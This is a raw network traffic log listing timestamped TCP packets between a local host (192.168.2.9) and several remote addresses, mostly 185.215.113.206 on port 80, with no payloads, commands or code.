Nov 20, 2024 16:50:55.419862032 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.420417070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.420494080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.420536041 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.421336889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.421350002 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.421407938 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.422218084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.422269106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.422390938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.422676086 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.423152924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.423197031 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.423321009 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.423440933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.424027920 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.424179077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.424223900 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.424943924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.425005913 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.425057888 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.425093889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.425890923 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.426121950 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.426175117 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.426419973 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.426892996 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:55.426944017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.426958084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.427052975 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.427692890 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.427829981 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.428539991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.428648949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.428661108 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.428670883 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.428729057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.429546118 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.429879904 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.429951906 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.430459023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.430588007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.430649042 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.431380033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.431544065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.431577921 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.431617022 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.432277918 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.432432890 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.432651997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.432702065 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.433231115 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.433275938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.433314085 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.434138060 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.434237003 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.434292078 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.435065031 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.435110092 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.435112953 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.435203075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.452645063 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:55.452661991 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:55.452685118 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:55.452696085 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:55.452758074 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:55.452769041 CET	49795	443	192.168.2.9	152.195.19.97
Nov 20, 2024 16:50:55.452769041 CET	49795	443	192.168.2.9	152.195.19.97
Nov 20, 2024 16:50:55.452977896 CET	49795	443	192.168.2.9	152.195.19.97
Nov 20, 2024 16:50:55.462446928 CET	49795	443	192.168.2.9	152.195.19.97
Nov 20, 2024 16:50:55.462472916 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:55.523744106 CET	443	49791	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.523768902 CET	443	49791	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.523807049 CET	443	49791	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.523849964 CET	49791	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:55.523883104 CET	443	49791	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.523899078 CET	49791	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:55.524247885 CET	49791	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:55.524255991 CET	443	49791	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.524270058 CET	49791	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:55.524863005 CET	443	49791	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.524897099 CET	443	49791	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.524949074 CET	49791	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:55.545639992 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.545666933 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.545753002 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.545777082 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.545804977 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.545819998 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.582779884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.582881927 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.582951069 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.582989931 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.583331108 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.583344936 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.583399057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.584294081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.584348917 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.584479094 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.584587097 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.585176945 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.585191011 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.585228920 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.585249901 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.585361004 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.585397005 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.585468054 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.585490942 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.585916996 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.585987091 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.586496115 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.586545944 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.587023973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.587037086 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.587068081 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.587083101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.588011980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.588073015 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.588123083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.588380098 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.588426113 CET	443	49794	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.588490009 CET	443	49794	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.588529110 CET	443	49794	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.588602066 CET	49794	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:55.588602066 CET	49794	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:55.588627100 CET	443	49794	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.588766098 CET	443	49794	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.588807106 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.588820934 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.588844061 CET	49794	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:55.588848114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.588871956 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.589821100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.589893103 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.589894056 CET	49794	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:55.589922905 CET	443	49794	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.589966059 CET	49794	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:55.589973927 CET	443	49794	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:55.589987040 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.590049982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.590833902 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.590847015 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.590905905 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.591718912 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.591732025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.591784000 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.592571020 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.592617035 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.592730045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.593103886 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.593451023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.593549967 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.593617916 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.593678951 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.594609976 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.594623089 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.594723940 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.595335960 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.595381975 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.596067905 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.596237898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.596250057 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.596298933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.596322060 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.597250938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.597264051 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.597302914 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.598000050 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.598424911 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.599055052 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.599066973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.599077940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.599116087 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.599139929 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.599869967 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.599924088 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.600022078 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.600198984 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.600709915 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.600753069 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.600888014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.601007938 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.601810932 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.601824045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.601880074 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.601900101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.602729082 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.602746010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.602801085 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.602823019 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.603612900 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.603626013 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.603674889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.603697062 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.604424953 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.604691029 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.604734898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.604773045 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.605456114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.605467081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.605514050 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.605631113 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.605648041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.605657101 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.605669022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.605678082 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.605688095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.605695963 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.605700970 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.605701923 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.605704069 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.605707884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.605712891 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.605720043 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.605751991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.605755091 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.605777979 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.605778933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.606497049 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.606833935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.606887102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.607403994 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.607549906 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.607737064 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.608325005 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.608378887 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.608463049 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.608546972 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.609364986 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.609416008 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.609420061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.609468937 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.610196114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.610677958 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.611129045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.611145973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.611161947 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.611207008 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.611998081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.612050056 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.612171888 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.612246990 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.612953901 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.612998962 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.613015890 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.613034010 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.614183903 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.614228964 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.614574909 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.614631891 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.615040064 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.615055084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.615118027 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.617916107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.618237972 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.621551991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.621570110 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.621589899 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.621628046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.621632099 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.621643066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.621670961 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.621687889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.621690035 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.621706009 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.621733904 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.621742964 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.622714043 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.622769117 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.622940063 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.622986078 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.623677969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.623734951 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.623838902 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.623960972 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.623987913 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.624039888 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.624140024 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.624140024 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.624171019 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.624325037 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.624731064 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.624911070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.624965906 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.625871897 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.625926018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.626050949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.626097918 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.626552105 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.626565933 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.626606941 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.626638889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.627567053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.627582073 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.627629995 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.627649069 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.628424883 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.628595114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.628645897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.629363060 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.629378080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.629462957 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.629462957 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.630354881 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.630367994 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.630455971 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.630455971 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.631170034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.631309032 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.741339922 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.741369009 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.741417885 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.741451025 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.741481066 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.741489887 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.756474018 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.756496906 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.756580114 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.756617069 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.756639957 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.756865978 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.771617889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.771697998 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.771742105 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.772102118 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.772155046 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.772224903 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.772885084 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.772905111 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.772963047 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.772994995 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.773003101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.773017883 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.773020983 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.773153067 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.773195982 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.773200035 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.773943901 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.774087906 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.774142981 CET	49752	80	192.168.2.9	185.215.113.206
